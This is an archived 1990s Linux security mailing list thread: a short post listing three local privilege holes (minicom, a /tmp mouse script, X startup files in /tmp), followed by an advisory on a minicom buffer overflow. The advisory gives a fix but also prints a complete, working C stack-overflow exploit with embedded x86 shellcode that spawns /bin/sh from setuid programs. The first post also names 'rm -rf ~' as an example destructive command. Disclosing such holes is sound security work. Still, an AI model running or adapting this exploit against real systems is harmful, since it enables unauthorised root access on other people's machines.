Three Security Holes For Today

[Alan Cox <alan@cymru.net>]

Firstly a rather nasty bug in Minicom. Contrary to the authors statement
it is incredibly dangerous because on most Linux systems group uucp is
access to dial out worldwide on any modem ports at the machine owners
expense.

Secondly anyone using the Doom startmouse/startmouse.sh script derived
from slackware that creates a /tmp/gpmscript should note that a user
can replace that script and get root access.

Third, one the Red Hat folks know about but I've since found has leaked
into other distributions. The user X startup scripts sometimes builds a file
of commands to run in /tmp. Another user can swap that file causing the
victim to run anything of their choice (like rm -rf ~)

Alan

----------


Resent-Sender: linux-security-request@redhat.com

	hi ppl,

  well, here is another standard buffer overrun vulnerability, which may
sometimes lead to root compromise (not always. not in new distributions,
fortunately). Current Slackware and current RedHat don't install minicom
suid root, only sgid/uucp, which is not *that* dangerous. But when you
build minicom from source, it asks you to do "chmod +s" on it.

Summary:
    Vulnerability in minicom allows (certain) local users to obtain group
  "uucp" privileges and, in certain cases, root privileges.

Platforms:
    Supposedly all platforms where minicom is installed suid and/or sgid.
  I have tested it only on several Linux boxes (fresh Slackware 3.1 and
  fresh RedHat 4.1), and it works for me.

Description:
    According to man pages, "minicom is a communication program which somewhat
  resembles the shareware program TELIX but is free with source code and runs
  under most unices".
    Minicom binary is usually owned by user "root" and group "uucp", and it
  is "-rwxr-sr-x" or, in some old distributions, "-rwsr-sr-x". Actually,
  minicom has *alot* of arbitrary size buffers and it is really easy to
  overrun some of them. At least one of these overrunable buffers is
  automatic -- an argument to "-d" option of minicom is copied into 128 bytes
  long automatic array. Thus, it is possible to overwrite the function return
  address and to execute an arbitrary code (as usually).

Impact:
    If minicom is installed suid root, any user which is permitted to use
  minicom can obtain root shell. If minicom is installed sgid uucp, any
  minicom user can obtain uucp group privileges (please don't think it's
  nothing -- at least on Slackware machines /usr/lib/uucp is group-writeable.
  This means you can easily substitute uucico/uuxqt/etc with your scripts).

Solution:
    Quick fix, as usually -- chmod 755 `which minicom`.

Exploit:
    Below goes the exploit for Linux. After running this, you have shell with
  uid=0 and euid=your_usual_uid (if minicom is suid root) and gid=uucp
  egid=your_usual_gid. Getting real root and real uucp group permissions from
  that is really too trivial to describe here.

---( quoting file "stack.c" )---

/* this stack overflow exploit code was written by jsn <jason@redline.ru>  */
/* provided "as is" and without any warranty. Sun Feb  9 08:12:54 MSK 1997 */
/* usage: argv[0] their_stack_offset buffer_size target_program [params]   */
/* generated string will be appended to the last of params.		   */

/* examples: stack -600 1303 /usr/bin/lpr "-J"				   */
/*           stack -640 153  /usr/bin/minicom -t vt100 -d ""		   */

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdarg.h>

#define	NOP	0x90

const char usage[] = "usage: %s stack-offset buffer-size argv0 argv1 ...\n";

extern		code();
void	dummy( void )
{
	extern	lbl();

	/* do "exec( "/bin/sh" ); exit(0)" */

__asm__( "
code:	xorl	%edx, %edx
	pushl	%edx
	jmp	lbl
start2:	movl	%esp, %ecx
	popl	%ebx
	movb	%edx, 0x7(%ebx)
	xorl	%eax, %eax
	movb	$0xB, %eax
	int	$0x80
	xorl	%ebx, %ebx
	xorl	%eax, %eax
	inc	%eax
	int	$0x80
lbl:	call	start2
	.string \"/bin/sh\"
 ");
}

void		Fatal( int rv, const char *fmt, ... )
{
	va_list		vl;
	va_start( vl, fmt );
	vfprintf( stderr, fmt, vl );
	va_end( vl );
	exit( rv );
}

int		main( int ac, char **av )
{
	int		buff_addr;	/* where our code is */
	int		stack_offset = 0,
			buffer_size = 0, i, code_size;
	char		*buffer, *p;

	buff_addr = (int)(&buff_addr);		/* get the stack pointer */
	code_size = strlen( (char *)code );	/* get the size of piece of */
						/* code in dummy()	*/
	if( ac < 5 )	Fatal( -1, usage, *av );

	buff_addr -= strtol( av[ 1 ], NULL, 0 );
	buffer_size = strtoul( av[ 2 ], NULL, 0 );

	if( buffer_size < code_size + 4 )
	    Fatal( -1, "buffer is too short -- %d minimum.\n", code_size + 5);
	    /* "this is supported, but not implemented yet" ;) */

	if( (buffer = malloc( buffer_size )) == NULL )
	    Fatal( -1, "malloc(): %s\n", strerror( errno ) );

	fprintf( stderr, "using buffer address 0x%8.8x\n", buff_addr );

	for( i = buffer_size - 4; i > buffer_size / 2; i -= 4 )
		*(int *)(buffer + i) = buff_addr;
	memset( buffer, NOP, buffer_size/2 );

	i = (buffer_size - code_size - 4)/2;

	memcpy( buffer + i, (char *)code, code_size );
	buffer[ buffer_size - 1 ] = '\0';

	p = malloc( strlen( av[ ac - 1 ] ) + code_size + 1 );
	if( !p )
	    Fatal( -1, "malloc(): %s\n", strerror( errno ) );

	strcpy( p, av[ ac - 1 ] );
	strcat( p, buffer );
	av[ ac - 1 ] = p;

	execve( av[ 3 ], av + 3, NULL );
	perror( "exec():" );
}


---( cut line )---


--
Please respect the confidentiality of material on the debian-private list.
TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to
debian-private-REQUEST@lists.debian.org . Trouble? e-mail to Bruce@Pixar.com